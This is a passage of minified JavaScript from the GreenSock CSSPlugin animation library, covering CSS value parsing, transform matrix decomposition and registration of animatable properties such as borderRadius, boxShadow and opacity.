            u && (u._prev = null,
            u._prev && (u._prev._next = null))); s && s !== u; ) {
                if (1 >= s.type && (o = s.p,
                f[o] = s.s + s.c,
                p[o] = s.s,
                n || (l = new fe(s,"s",o,l,s.r),
                s.c = 0),
                1 === s.type))
                    for (a = s.l; --a > 0; )
                        h = "xn" + a,
                        o = s.p + "_" + h,
                        f[o] = s.data[h],
                        p[o] = s[h],
                        n || (l = new fe(s,h,o,l,s.rxp[h]));
                s = s._next
            }
            return {
                proxy: p,
                end: f,
                firstMPT: l,
                pt: _
            }
        }
        ,
        U.CSSPropTween = function(t, e, s, r, a, o, h, l, _, u, p) {
            this.t = t,
            this.p = e,
            this.s = s,
            this.c = r,
            this.n = h || e,
            t instanceof ce || n.push(this.n),
            this.r = l,
            this.type = o || 0,
            _ && (this.pr = _,
            i = !0),
            this.b = void 0 === u ? s : u,
            this.e = void 0 === p ? s + r : p,
            a && (this._next = a,
            a._prev = this)
        }
        )
          , me = a.parseComplex = function(t, e, i, s, r, n, a, o, h, l) {
            i = i || n || "",
            a = new ce(t,e,0,0,a,l ? 2 : 1,null,!1,o,i,s),
            s += "";
            var u, p, f, c, m, v, y, T, w, x, b, S, k = i.split(", ").join(",").split(" "), R = s.split(", ").join(",").split(" "), A = k.length, O = _ !== !1;
            for ((-1 !== s.indexOf(",") || -1 !== i.indexOf(",")) && (k = k.join(" ").replace(M, ", ").split(" "),
            R = R.join(" ").replace(M, ", ").split(" "),
            A = k.length),
            A !== R.length && (k = (n || "").split(" "),
            A = k.length),
            a.plugin = h,
            a.setRatio = l,
            u = 0; A > u; u++)
                if (c = k[u],
                m = R[u],
                T = parseFloat(c),
                T || 0 === T)
                    a.appendXtra("", T, re(m, T), m.replace(g, ""), O && -1 !== m.indexOf("px"), !0);
                else if (r && ("#" === c.charAt(0) || oe[c] || P.test(c)))
                    S = "," === m.charAt(m.length - 1) ? ")," : ")",
                    c = le(c),
                    m = le(m),
                    w = c.length + m.length > 6,
                    w && !j && 0 === m[3] ? (a["xs" + a.l] += a.l ? " transparent" : "transparent",
                    a.e = a.e.split(R[u]).join("transparent")) : (j || (w = !1),
                    a.appendXtra(w ? "rgba(" : "rgb(", c[0], m[0] - c[0], ",", !0, !0).appendXtra("", c[1], m[1] - c[1], ",", !0).appendXtra("", c[2], m[2] - c[2], w ? "," : S, !0),
                    w && (c = 4 > c.length ? 1 : c[3],
                    a.appendXtra("", c, (4 > m.length ? 1 : m[3]) - c, S, !1)));
                else if (v = c.match(d)) {
                    if (y = m.match(g),
                    !y || y.length !== v.length)
                        return a;
                    for (f = 0,
                    p = 0; v.length > p; p++)
                        b = v[p],
                        x = c.indexOf(b, f),
                        a.appendXtra(c.substr(f, x - f), Number(b), re(y[p], b), "", O && "px" === c.substr(x + b.length, 2), 0 === p),
                        f = x + b.length;
                    a["xs" + a.l] += c.substr(f)
                } else
                    a["xs" + a.l] += a.l ? " " + c : c;
            if (-1 !== s.indexOf("=") && a.data) {
                for (S = a.xs0 + a.data.s,
                u = 1; a.l > u; u++)
                    S += a["xs" + u] + a.data["xn" + u];
                a.e = S + a["xs" + u]
            }
            return a.l || (a.type = -1,
            a.xs0 = a.e),
            a.xfirst || a
        }
          , de = 9;
        for (l = ce.prototype,
        l.l = l.pr = 0; --de > 0; )
            l["xn" + de] = 0,
            l["xs" + de] = "";
        l.xs0 = "",
        l._next = l._prev = l.xfirst = l.data = l.plugin = l.setRatio = l.rxp = null,
        l.appendXtra = function(t, e, i, s, r, n) {
            var a = this
              , o = a.l;
            return a["xs" + o] += n && o ? " " + t : t || "",
            i || 0 === o || a.plugin ? (a.l++,
            a.type = a.setRatio ? 2 : 1,
            a["xs" + a.l] = s || "",
            o > 0 ? (a.data["xn" + o] = e + i,
            a.rxp["xn" + o] = r,
            a["xn" + o] = e,
            a.plugin || (a.xfirst = new ce(a,"xn" + o,e,i,a.xfirst || a,0,a.n,r,a.pr),
            a.xfirst.xs0 = 0),
            a) : (a.data = {
                s: e + i
            },
            a.rxp = {},
            a.s = e,
            a.c = i,
            a.r = r,
            a)) : (a["xs" + o] += e + (s || ""),
            a)
        }
        ;
        var ge = function(t, e) {
            e = e || {},
            this.p = e.prefix ? W(t) || t : t,
            h[t] = h[this.p] = this,
            this.format = e.formatter || ue(e.defaultValue, e.color, e.collapsible, e.multi),
            e.parser && (this.parse = e.parser),
            this.clrs = e.color,
            this.multi = e.multi,
            this.keyword = e.keyword,
            this.dflt = e.defaultValue,
            this.pr = e.priority || 0
        }
          , ve = U._registerComplexSpecialProp = function(t, e, i) {
            "object" != typeof e && (e = {
                parser: i
            });
            var s, r, n = t.split(","), a = e.defaultValue;
            for (i = i || [a],
            s = 0; n.length > s; s++)
                e.prefix = 0 === s && e.prefix,
                e.defaultValue = i[s] || a,
                r = new ge(n[s],e)
        }
          , ye = function(t) {
            if (!h[t]) {
                var e = t.charAt(0).toUpperCase() + t.substr(1) + "Plugin";
                ve(t, {
                    parser: function(t, i, s, r, n, a, l) {
                        var _ = o.com.greensock.plugins[e];
                        return _ ? (_._cssRegister(),
                        h[s].parse(t, i, s, r, n, a, l)) : (q("Error: " + e + " js file not loaded."),
                        n)
                    }
                })
            }
        };
        l = ge.prototype,
        l.parseComplex = function(t, e, i, s, r, n) {
            var a, o, h, l, _, u, p = this.keyword;
            if (this.multi && (M.test(i) || M.test(e) ? (o = e.replace(M, "|").split("|"),
            h = i.replace(M, "|").split("|")) : p && (o = [e],
            h = [i])),
            h) {
                for (l = h.length > o.length ? h.length : o.length,
                a = 0; l > a; a++)
                    e = o[a] = o[a] || this.dflt,
                    i = h[a] = h[a] || this.dflt,
                    p && (_ = e.indexOf(p),
                    u = i.indexOf(p),
                    _ !== u && (-1 === u ? o[a] = o[a].split(p).join("") : -1 === _ && (o[a] += " " + p)));
                e = o.join(", "),
                i = h.join(", ")
            }
            return me(t, this.p, e, i, this.clrs, this.dflt, s, this.pr, r, n)
        }
        ,
        l.parse = function(t, e, i, s, n, a) {
            return this.parseComplex(t.style, this.format(Q(t, this.p, r, !1, this.dflt)), this.format(e), n, a)
        }
        ,
        a.registerSpecialProp = function(t, e, i) {
            ve(t, {
                parser: function(t, s, r, n, a, o) {
                    var h = new ce(t,r,0,0,a,2,r,!1,i);
                    return h.plugin = o,
                    h.setRatio = e(t, s, n._tween, r),
                    h
                },
                priority: i
            })
        }
        ,
        a.useSVGTransformAttr = p;
        var Te, we = "scaleX,scaleY,scaleZ,x,y,z,skewX,skewY,rotation,rotationX,rotationY,perspective,xPercent,yPercent".split(","), xe = W("transform"), be = V + "transform", Pe = W("transformOrigin"), Se = null !== W("perspective"), ke = U.Transform = function() {
            this.perspective = parseFloat(a.defaultTransformPerspective) || 0,
            this.force3D = a.defaultForce3D !== !1 && Se ? a.defaultForce3D || "auto" : !1
        }
        , Re = window.SVGElement, Ae = function(t, e, i) {
            var s, r = E.createElementNS("http://www.w3.org/2000/svg", t), n = /([a-z])([A-Z])/g;
            for (s in i)
                r.setAttributeNS(null, s.replace(n, "$1-$2").toLowerCase(), i[s]);
            return e.appendChild(r),
            r
        }, Oe = E.documentElement, Ce = function() {
            var t, e, i, s = m || /Android/i.test(Y) && !window.chrome;
            return E.createElementNS && !s && (t = Ae("svg", Oe),
            e = Ae("rect", t, {
                width: 100,
                height: 50,
                x: 100
            }),
            i = e.getBoundingClientRect().width,
            e.style[Pe] = "50% 50%",
            e.style[xe] = "scaleX(0.5)",
            s = i === e.getBoundingClientRect().width && !(f && Se),
            Oe.removeChild(t)),
            s
        }(), De = function(t, e, i, s) {
            var r, n;
            s && (n = s.split(" ")).length || (r = t.getBBox(),
            e = se(e).split(" "),
            n = [(-1 !== e[0].indexOf("%") ? parseFloat(e[0]) / 100 * r.width : parseFloat(e[0])) + r.x, (-1 !== e[1].indexOf("%") ? parseFloat(e[1]) / 100 * r.height : parseFloat(e[1])) + r.y]),
            i.xOrigin = parseFloat(n[0]),
            i.yOrigin = parseFloat(n[1]),
            t.setAttribute("data-svg-origin", n.join(" "))
        }, Me = U.getTransform = function(t, e, i, s) {
            if (t._gsTransform && i && !s)
                return t._gsTransform;
            var n, o, h, l, _, u, p, f, c, m, d = i ? t._gsTransform || new ke : new ke, g = 0 > d.scaleX, v = 2e-5, y = 1e5, T = Se ? parseFloat(Q(t, Pe, e, !1, "0 0 0").split(" ")[2]) || d.zOrigin || 0 : 0, w = parseFloat(a.defaultTransformPerspective) || 0;
            if (xe ? o = Q(t, be, e, !0) : t.currentStyle && (o = t.currentStyle.filter.match(C),
            o = o && 4 === o.length ? [o[0].substr(4), Number(o[2].substr(4)), Number(o[1].substr(4)), o[3].substr(4), d.x || 0, d.y || 0].join(",") : ""),
            n = !o || "none" === o || "matrix(1, 0, 0, 1, 0, 0)" === o,
            d.svg = !!(Re && "function" == typeof t.getBBox && t.getCTM && (!t.parentNode || t.parentNode.getBBox && t.parentNode.getCTM)),
            d.svg && (n && -1 !== (t.style[xe] + "").indexOf("matrix") && (o = t.style[xe],
            n = !1),
            De(t, Q(t, Pe, r, !1, "50% 50%") + "", d, t.getAttribute("data-svg-origin")),
            Te = a.useSVGTransformAttr || Ce,
            h = t.getAttribute("transform"),
            n && h && -1 !== h.indexOf("matrix") && (o = h,
            n = 0)),
            !n) {
                for (h = (o || "").match(/(?:\-|\b)[\d\-\.e]+\b/gi) || [],
                l = h.length; --l > -1; )
                    _ = Number(h[l]),
                    h[l] = (u = _ - (_ |= 0)) ? (0 | u * y + (0 > u ? -.5 : .5)) / y + _ : _;
                if (16 === h.length) {
                    var x, b, P, S, k, R = h[0], A = h[1], O = h[2], D = h[3], M = h[4], z = h[5], F = h[6], E = h[7], N = h[8], L = h[9], X = h[10], U = h[12], Y = h[13], j = h[14], B = h[11], q = Math.atan2(F, X);
                    d.zOrigin && (j = -d.zOrigin,
                    U = N * j - h[12],
                    Y = L * j - h[13],
                    j = X * j + d.zOrigin - h[14]),
                    d.rotationX = q * I,
                    q && (S = Math.cos(-q),
                    k = Math.sin(-q),
                    x = M * S + N * k,
                    b = z * S + L * k,
                    P = F * S + X * k,
                    N = M * -k + N * S,
                    L = z * -k + L * S,
                    X = F * -k + X * S,
                    B = E * -k + B * S,
                    M = x,
                    z = b,
                    F = P),
                    q = Math.atan2(N, X),
                    d.rotationY = q * I,
                    q && (S = Math.cos(-q),
                    k = Math.sin(-q),
                    x = R * S - N * k,
                    b = A * S - L * k,
                    P = O * S - X * k,
                    L = A * k + L * S,
                    X = O * k + X * S,
                    B = D * k + B * S,
                    R = x,
                    A = b,
                    O = P),
                    q = Math.atan2(A, R),
                    d.rotation = q * I,
                    q && (S = Math.cos(-q),
                    k = Math.sin(-q),
                    R = R * S + M * k,
                    b = A * S + z * k,
                    z = A * -k + z * S,
                    F = O * -k + F * S,
                    A = b),
                    d.rotationX && Math.abs(d.rotationX) + Math.abs(d.rotation) > 359.9 && (d.rotationX = d.rotation = 0,
                    d.rotationY += 180),
                    d.scaleX = (0 | Math.sqrt(R * R + A * A) * y + .5) / y,
                    d.scaleY = (0 | Math.sqrt(z * z + L * L) * y + .5) / y,
                    d.scaleZ = (0 | Math.sqrt(F * F + X * X) * y + .5) / y,
                    d.skewX = 0,
                    d.perspective = B ? 1 / (0 > B ? -B : B) : 0,
                    d.x = U,
                    d.y = Y,
                    d.z = j,
                    d.svg && (d.x -= d.xOrigin - (d.xOrigin * R - d.yOrigin * M),
                    d.y -= d.yOrigin - (d.yOrigin * A - d.xOrigin * z))
                } else if (!(Se && !s && h.length && d.x === h[4] && d.y === h[5] && (d.rotationX || d.rotationY) || void 0 !== d.x && "none" === Q(t, "display", e))) {
                    var V = h.length >= 6
                      , G = V ? h[0] : 1
                      , W = h[1] || 0
                      , Z = h[2] || 0
                      , $ = V ? h[3] : 1;
                    d.x = h[4] || 0,
                    d.y = h[5] || 0,
                    p = Math.sqrt(G * G + W * W),
                    f = Math.sqrt($ * $ + Z * Z),
                    c = G || W ? Math.atan2(W, G) * I : d.rotation || 0,
                    m = Z || $ ? Math.atan2(Z, $) * I + c : d.skewX || 0,
                    Math.abs(m) > 90 && 270 > Math.abs(m) && (g ? (p *= -1,
                    m += 0 >= c ? 180 : -180,
                    c += 0 >= c ? 180 : -180) : (f *= -1,
                    m += 0 >= m ? 180 : -180)),
                    d.scaleX = p,
                    d.scaleY = f,
                    d.rotation = c,
                    d.skewX = m,
                    Se && (d.rotationX = d.rotationY = d.z = 0,
                    d.perspective = w,
                    d.scaleZ = 1),
                    d.svg && (d.x -= d.xOrigin - (d.xOrigin * G - d.yOrigin * W),
                    d.y -= d.yOrigin - (d.yOrigin * $ - d.xOrigin * Z))
                }
                d.zOrigin = T;
                for (l in d)
                    v > d[l] && d[l] > -v && (d[l] = 0)
            }
            return i && (t._gsTransform = d,
            d.svg && (Te && t.style[xe] ? Ee(t.style, xe) : !Te && t.getAttribute("transform") && t.removeAttribute("transform"))),
            d
        }
        , ze = function(t) {
            var e, i, s = this.data, r = -s.rotation * z, n = r + s.skewX * z, a = 1e5, o = (0 | Math.cos(r) * s.scaleX * a) / a, h = (0 | Math.sin(r) * s.scaleX * a) / a, l = (0 | Math.sin(n) * -s.scaleY * a) / a, _ = (0 | Math.cos(n) * s.scaleY * a) / a, u = this.t.style, p = this.t.currentStyle;
            if (p) {
                i = h,
                h = -l,
                l = -i,
                e = p.filter,
                u.filter = "";
                var f, c, d = this.t.offsetWidth, g = this.t.offsetHeight, v = "absolute" !== p.position, y = "progid:DXImageTransform.Microsoft.Matrix(M11=" + o + ", M12=" + h + ", M21=" + l + ", M22=" + _, x = s.x + d * s.xPercent / 100, b = s.y + g * s.yPercent / 100;
                if (null != s.ox && (f = (s.oxp ? .01 * d * s.ox : s.ox) - d / 2,
                c = (s.oyp ? .01 * g * s.oy : s.oy) - g / 2,
                x += f - (f * o + c * h),
                b += c - (f * l + c * _)),
                v ? (f = d / 2,
                c = g / 2,
                y += ", Dx=" + (f - (f * o + c * h) + x) + ", Dy=" + (c - (f * l + c * _) + b) + ")") : y += ", sizingMethod='auto expand')",
                u.filter = -1 !== e.indexOf("DXImageTransform.Microsoft.Matrix(") ? e.replace(D, y) : y + " " + e,
                (0 === t || 1 === t) && 1 === o && 0 === h && 0 === l && 1 === _ && (v && -1 === y.indexOf("Dx=0, Dy=0") || w.test(e) && 100 !== parseFloat(RegExp.$1) || -1 === e.indexOf("gradient(" && e.indexOf("Alpha")) && u.removeAttribute("filter")),
                !v) {
                    var P, S, k, R = 8 > m ? 1 : -1;
                    for (f = s.ieOffsetX || 0,
                    c = s.ieOffsetY || 0,
                    s.ieOffsetX = Math.round((d - ((0 > o ? -o : o) * d + (0 > h ? -h : h) * g)) / 2 + x),
                    s.ieOffsetY = Math.round((g - ((0 > _ ? -_ : _) * g + (0 > l ? -l : l) * d)) / 2 + b),
                    de = 0; 4 > de; de++)
                        S = ee[de],
                        P = p[S],
                        i = -1 !== P.indexOf("px") ? parseFloat(P) : $(this.t, S, parseFloat(P), P.replace(T, "")) || 0,
                        k = i !== s[S] ? 2 > de ? -s.ieOffsetX : -s.ieOffsetY : 2 > de ? f - s.ieOffsetX : c - s.ieOffsetY,
                        u[S] = (s[S] = Math.round(i - k * (0 === de || 2 === de ? 1 : R))) + "px"
                }
            }
        }, Ie = U.set3DTransformRatio = U.setTransformRatio = function(t) {
            var e, i, s, r, n, a, o, h, l, _, u, p, c, m, d, g, v, y, T, w, x, b, P, S = this.data, k = this.t.style, R = S.rotation, A = S.rotationX, O = S.rotationY, C = S.scaleX, D = S.scaleY, M = S.scaleZ, I = S.x, F = S.y, E = S.z, N = S.svg, L = S.perspective, X = S.force3D;
            if (!(((1 !== t && 0 !== t || "auto" !== X || this.tween._totalTime !== this.tween._totalDuration && this.tween._totalTime) && X || E || L || O || A) && (!Te || !N) && Se))
                return R || S.skewX || N ? (R *= z,
                b = S.skewX * z,
                P = 1e5,
                e = Math.cos(R) * C,
                r = Math.sin(R) * C,
                i = Math.sin(R - b) * -D,
                n = Math.cos(R - b) * D,
                b && "simple" === S.skewType && (v = Math.tan(b),
                v = Math.sqrt(1 + v * v),
                i *= v,
                n *= v,
                S.skewY && (e *= v,
                r *= v)),
                N && (I += S.xOrigin - (S.xOrigin * e + S.yOrigin * i),
                F += S.yOrigin - (S.xOrigin * r + S.yOrigin * n),
                m = 1e-6,
                m > I && I > -m && (I = 0),
                m > F && F > -m && (F = 0)),
                T = (0 | e * P) / P + "," + (0 | r * P) / P + "," + (0 | i * P) / P + "," + (0 | n * P) / P + "," + I + "," + F + ")",
                N && Te ? this.t.setAttribute("transform", "matrix(" + T) : k[xe] = (S.xPercent || S.yPercent ? "translate(" + S.xPercent + "%," + S.yPercent + "%) matrix(" : "matrix(") + T) : k[xe] = (S.xPercent || S.yPercent ? "translate(" + S.xPercent + "%," + S.yPercent + "%) matrix(" : "matrix(") + C + ",0,0," + D + "," + I + "," + F + ")",
                void 0;
            if (f && (m = 1e-4,
            m > C && C > -m && (C = M = 2e-5),
            m > D && D > -m && (D = M = 2e-5),
            !L || S.z || S.rotationX || S.rotationY || (L = 0)),
            R || S.skewX)
                R *= z,
                d = e = Math.cos(R),
                g = r = Math.sin(R),
                S.skewX && (R -= S.skewX * z,
                d = Math.cos(R),
                g = Math.sin(R),
                "simple" === S.skewType && (v = Math.tan(S.skewX * z),
                v = Math.sqrt(1 + v * v),
                d *= v,
                g *= v,
                S.skewY && (e *= v,
                r *= v))),
                i = -g,
                n = d;
            else {
                if (!(O || A || 1 !== M || L || N))
                    return k[xe] = (S.xPercent || S.yPercent ? "translate(" + S.xPercent + "%," + S.yPercent + "%) translate3d(" : "translate3d(") + I + "px," + F + "px," + E + "px)" + (1 !== C || 1 !== D ? " scale(" + C + "," + D + ")" : ""),
                    void 0;
                e = n = 1,
                i = r = 0
            }
            l = 1,
            s = a = o = h = _ = u = 0,
            p = L ? -1 / L : 0,
            c = S.zOrigin,
            m = 1e-6,
            w = ",",
            x = "0",
            R = O * z,
            R && (d = Math.cos(R),
            g = Math.sin(R),
            o = -g,
            _ = p * -g,
            s = e * g,
            a = r * g,
            l = d,
            p *= d,
            e *= d,
            r *= d),
            R = A * z,
            R && (d = Math.cos(R),
            g = Math.sin(R),
            v = i * d + s * g,
            y = n * d + a * g,
            h = l * g,
            u = p * g,
            s = i * -g + s * d,
            a = n * -g + a * d,
            l *= d,
            p *= d,
            i = v,
            n = y),
            1 !== M && (s *= M,
            a *= M,
            l *= M,
            p *= M),
            1 !== D && (i *= D,
            n *= D,
            h *= D,
            u *= D),
            1 !== C && (e *= C,
            r *= C,
            o *= C,
            _ *= C),
            (c || N) && (c && (I += s * -c,
            F += a * -c,
            E += l * -c + c),
            N && (I += S.xOrigin - (S.xOrigin * e + S.yOrigin * i),
            F += S.yOrigin - (S.xOrigin * r + S.yOrigin * n)),
            m > I && I > -m && (I = x),
            m > F && F > -m && (F = x),
            m > E && E > -m && (E = 0)),
            T = S.xPercent || S.yPercent ? "translate(" + S.xPercent + "%," + S.yPercent + "%) matrix3d(" : "matrix3d(",
            T += (m > e && e > -m ? x : e) + w + (m > r && r > -m ? x : r) + w + (m > o && o > -m ? x : o),
            T += w + (m > _ && _ > -m ? x : _) + w + (m > i && i > -m ? x : i) + w + (m > n && n > -m ? x : n),
            A || O ? (T += w + (m > h && h > -m ? x : h) + w + (m > u && u > -m ? x : u) + w + (m > s && s > -m ? x : s),
            T += w + (m > a && a > -m ? x : a) + w + (m > l && l > -m ? x : l) + w + (m > p && p > -m ? x : p) + w) : T += ",0,0,0,0,1,0,",
            T += I + w + F + w + E + w + (L ? 1 + -E / L : 1) + ")",
            k[xe] = T
        }
        ;
        l = ke.prototype,
        l.x = l.y = l.z = l.skewX = l.skewY = l.rotation = l.rotationX = l.rotationY = l.zOrigin = l.xPercent = l.yPercent = 0,
        l.scaleX = l.scaleY = l.scaleZ = 1,
        ve("transform,scale,scaleX,scaleY,scaleZ,x,y,z,rotation,rotationX,rotationY,rotationZ,skewX,skewY,shortRotation,shortRotationX,shortRotationY,shortRotationZ,transformOrigin,svgOrigin,transformPerspective,directionalRotation,parseTransform,force3D,skewType,xPercent,yPercent", {
            parser: function(t, e, i, s, n, o, h) {
                if (s._lastParsedTransform === h)
                    return n;
                s._lastParsedTransform = h;
                var l, _, u, p, f, c, m, d = s._transform = Me(t, r, !0, h.parseTransform), g = t.style, v = 1e-6, y = we.length, T = h, w = {};
                if ("string" == typeof T.transform && xe)
                    u = L.style,
                    u[xe] = T.transform,
                    u.display = "block",
                    u.position = "absolute",
                    E.body.appendChild(L),
                    l = Me(L, null, !1),
                    E.body.removeChild(L);
                else if ("object" == typeof T) {
                    if (l = {
                        scaleX: ne(null != T.scaleX ? T.scaleX : T.scale, d.scaleX),
                        scaleY: ne(null != T.scaleY ? T.scaleY : T.scale, d.scaleY),
                        scaleZ: ne(T.scaleZ, d.scaleZ),
                        x: ne(T.x, d.x),
                        y: ne(T.y, d.y),
                        z: ne(T.z, d.z),
                        xPercent: ne(T.xPercent, d.xPercent),
                        yPercent: ne(T.yPercent, d.yPercent),
                        perspective: ne(T.transformPerspective, d.perspective)
                    },
                    m = T.directionalRotation,
                    null != m)
                        if ("object" == typeof m)
                            for (u in m)
                                T[u] = m[u];
                        else
                            T.rotation = m;
                    "string" == typeof T.x && -1 !== T.x.indexOf("%") && (l.x = 0,
                    l.xPercent = ne(T.x, d.xPercent)),
                    "string" == typeof T.y && -1 !== T.y.indexOf("%") && (l.y = 0,
                    l.yPercent = ne(T.y, d.yPercent)),
                    l.rotation = ae("rotation"in T ? T.rotation : "shortRotation"in T ? T.shortRotation + "_short" : "rotationZ"in T ? T.rotationZ : d.rotation, d.rotation, "rotation", w),
                    Se && (l.rotationX = ae("rotationX"in T ? T.rotationX : "shortRotationX"in T ? T.shortRotationX + "_short" : d.rotationX || 0, d.rotationX, "rotationX", w),
                    l.rotationY = ae("rotationY"in T ? T.rotationY : "shortRotationY"in T ? T.shortRotationY + "_short" : d.rotationY || 0, d.rotationY, "rotationY", w)),
                    l.skewX = null == T.skewX ? d.skewX : ae(T.skewX, d.skewX),
                    l.skewY = null == T.skewY ? d.skewY : ae(T.skewY, d.skewY),
                    (_ = l.skewY - d.skewY) && (l.skewX += _,
                    l.rotation += _)
                }
                for (Se && null != T.force3D && (d.force3D = T.force3D,
                c = !0),
                d.skewType = T.skewType || d.skewType || a.defaultSkewType,
                f = d.force3D || d.z || d.rotationX || d.rotationY || l.z || l.rotationX || l.rotationY || l.perspective,
                f || null == T.scale || (l.scaleZ = 1); --y > -1; )
                    i = we[y],
                    p = l[i] - d[i],
                    (p > v || -v > p || null != T[i] || null != F[i]) && (c = !0,
                    n = new ce(d,i,d[i],p,n),
                    i in w && (n.e = w[i]),
                    n.xs0 = 0,
                    n.plugin = o,
                    s._overwriteProps.push(n.n));
                return p = T.transformOrigin,
                d.svg && (p || T.svgOrigin) && (De(t, se(p), l, T.svgOrigin),
                n = new ce(d,"xOrigin",d.xOrigin,l.xOrigin - d.xOrigin,n,-1,"transformOrigin"),
                n.b = d.xOrigin,
                n.e = n.xs0 = l.xOrigin,
                n = new ce(d,"yOrigin",d.yOrigin,l.yOrigin - d.yOrigin,n,-1,"transformOrigin"),
                n.b = d.yOrigin,
                n.e = n.xs0 = l.yOrigin,
                p = Te ? null : "0px 0px"),
                (p || Se && f && d.zOrigin) && (xe ? (c = !0,
                i = Pe,
                p = (p || Q(t, i, r, !1, "50% 50%")) + "",
                n = new ce(g,i,0,0,n,-1,"transformOrigin"),
                n.b = g[i],
                n.plugin = o,
                Se ? (u = d.zOrigin,
                p = p.split(" "),
                d.zOrigin = (p.length > 2 && (0 === u || "0px" !== p[2]) ? parseFloat(p[2]) : u) || 0,
                n.xs0 = n.e = p[0] + " " + (p[1] || "50%") + " 0px",
                n = new ce(d,"zOrigin",0,0,n,-1,n.n),
                n.b = u,
                n.xs0 = n.e = d.zOrigin) : n.xs0 = n.e = p) : se(p + "", d)),
                c && (s._transformType = d.svg && Te || !f && 3 !== this._transformType ? 2 : 3),
                n
            },
            prefix: !0
        }),
        ve("boxShadow", {
            defaultValue: "0px 0px 0px 0px #999",
            prefix: !0,
            color: !0,
            multi: !0,
            keyword: "inset"
        }),
        ve("borderRadius", {
            defaultValue: "0px",
            parser: function(t, e, i, n, a) {
                e = this.format(e);
                var o, h, l, _, u, p, f, c, m, d, g, v, y, T, w, x, b = ["borderTopLeftRadius", "borderTopRightRadius", "borderBottomRightRadius", "borderBottomLeftRadius"], P = t.style;
                for (m = parseFloat(t.offsetWidth),
                d = parseFloat(t.offsetHeight),
                o = e.split(" "),
                h = 0; b.length > h; h++)
                    this.p.indexOf("border") && (b[h] = W(b[h])),
                    u = _ = Q(t, b[h], r, !1, "0px"),
                    -1 !== u.indexOf(" ") && (_ = u.split(" "),
                    u = _[0],
                    _ = _[1]),
                    p = l = o[h],
                    f = parseFloat(u),
                    v = u.substr((f + "").length),
                    y = "=" === p.charAt(1),
                    y ? (c = parseInt(p.charAt(0) + "1", 10),
                    p = p.substr(2),
                    c *= parseFloat(p),
                    g = p.substr((c + "").length - (0 > c ? 1 : 0)) || "") : (c = parseFloat(p),
                    g = p.substr((c + "").length)),
                    "" === g && (g = s[i] || v),
                    g !== v && (T = $(t, "borderLeft", f, v),
                    w = $(t, "borderTop", f, v),
                    "%" === g ? (u = 100 * (T / m) + "%",
                    _ = 100 * (w / d) + "%") : "em" === g ? (x = $(t, "borderLeft", 1, "em"),
                    u = T / x + "em",
                    _ = w / x + "em") : (u = T + "px",
                    _ = w + "px"),
                    y && (p = parseFloat(u) + c + g,
                    l = parseFloat(_) + c + g)),
                    a = me(P, b[h], u + " " + _, p + " " + l, !1, "0px", a);
                return a
            },
            prefix: !0,
            formatter: ue("0px 0px 0px 0px", !1, !0)
        }),
        ve("backgroundPosition", {
            defaultValue: "0 0",
            parser: function(t, e, i, s, n, a) {
                var o, h, l, _, u, p, f = "background-position", c = r || Z(t, null), d = this.format((c ? m ? c.getPropertyValue(f + "-x") + " " + c.getPropertyValue(f + "-y") : c.getPropertyValue(f) : t.currentStyle.backgroundPositionX + " " + t.currentStyle.backgroundPositionY) || "0 0"), g = this.format(e);
                if (-1 !== d.indexOf("%") != (-1 !== g.indexOf("%")) && (p = Q(t, "backgroundImage").replace(R, ""),
                p && "none" !== p)) {
                    for (o = d.split(" "),
                    h = g.split(" "),
                    X.setAttribute("src", p),
                    l = 2; --l > -1; )
                        d = o[l],
                        _ = -1 !== d.indexOf("%"),
                        _ !== (-1 !== h[l].indexOf("%")) && (u = 0 === l ? t.offsetWidth - X.width : t.offsetHeight - X.height,
                        o[l] = _ ? parseFloat(d) / 100 * u + "px" : 100 * (parseFloat(d) / u) + "%");
                    d = o.join(" ")
                }
                return this.parseComplex(t.style, d, g, n, a)
            },
            formatter: se
        }),
        ve("backgroundSize", {
            defaultValue: "0 0",
            formatter: se
        }),
        ve("perspective", {
            defaultValue: "0px",
            prefix: !0
        }),
        ve("perspectiveOrigin", {
            defaultValue: "50% 50%",
            prefix: !0
        }),
        ve("transformStyle", {
            prefix: !0
        }),
        ve("backfaceVisibility", {
            prefix: !0
        }),
        ve("userSelect", {
            prefix: !0
        }),
        ve("margin", {
            parser: pe("marginTop,marginRight,marginBottom,marginLeft")
        }),
        ve("padding", {
            parser: pe("paddingTop,paddingRight,paddingBottom,paddingLeft")
        }),
        ve("clip", {
            defaultValue: "rect(0px,0px,0px,0px)",
            parser: function(t, e, i, s, n, a) {
                var o, h, l;
                return 9 > m ? (h = t.currentStyle,
                l = 8 > m ? " " : ",",
                o = "rect(" + h.clipTop + l + h.clipRight + l + h.clipBottom + l + h.clipLeft + ")",
                e = this.format(e).split(",").join(l)) : (o = this.format(Q(t, this.p, r, !1, this.dflt)),
                e = this.format(e)),
                this.parseComplex(t.style, o, e, n, a)
            }
        }),
        ve("textShadow", {
            defaultValue: "0px 0px 0px #999",
            color: !0,
            multi: !0
        }),
        ve("autoRound,strictUnits", {
            parser: function(t, e, i, s, r) {
                return r
            }
        }),
        ve("border", {
            defaultValue: "0px solid #000",
            parser: function(t, e, i, s, n, a) {
                return this.parseComplex(t.style, this.format(Q(t, "borderTopWidth", r, !1, "0px") + " " + Q(t, "borderTopStyle", r, !1, "solid") + " " + Q(t, "borderTopColor", r, !1, "#000")), this.format(e), n, a)
            },
            color: !0,
            formatter: function(t) {
                var e = t.split(" ");
                return e[0] + " " + (e[1] || "solid") + " " + (t.match(_e) || ["#000"])[0]
            }
        }),
        ve("borderWidth", {
            parser: pe("borderTopWidth,borderRightWidth,borderBottomWidth,borderLeftWidth")
        }),
        ve("float,cssFloat,styleFloat", {
            parser: function(t, e, i, s, r) {
                var n = t.style
                  , a = "cssFloat"in n ? "cssFloat" : "styleFloat";
                return new ce(n,a,0,0,r,-1,i,!1,0,n[a],e)
            }
        });
        var Fe = function(t) {
            var e, i = this.t, s = i.filter || Q(this.data, "filter") || "", r = 0 | this.s + this.c * t;
            100 === r && (-1 === s.indexOf("atrix(") && -1 === s.indexOf("radient(") && -1 === s.indexOf("oader(") ? (i.removeAttribute("filter"),
            e = !Q(this.data, "filter")) : (i.filter = s.replace(b, ""),
            e = !0)),
            e || (this.xn1 && (i.filter = s = s || "alpha(opacity=" + r + ")"),
            -1 === s.indexOf("pacity") ? 0 === r && this.xn1 || (i.filter = s + " alpha(opacity=" + r + ")") : i.filter = s.replace(w, "opacity=" + r))
        };
        ve("opacity,alpha,autoAlpha", {
            defaultValue: "1",
            parser: function(t, e, i, s, n, a) {
                var o = parseFloat(Q(t, "opacity", r, !1, "1"))
                  , h = t.style
                  , l = "autoAlpha" === i;
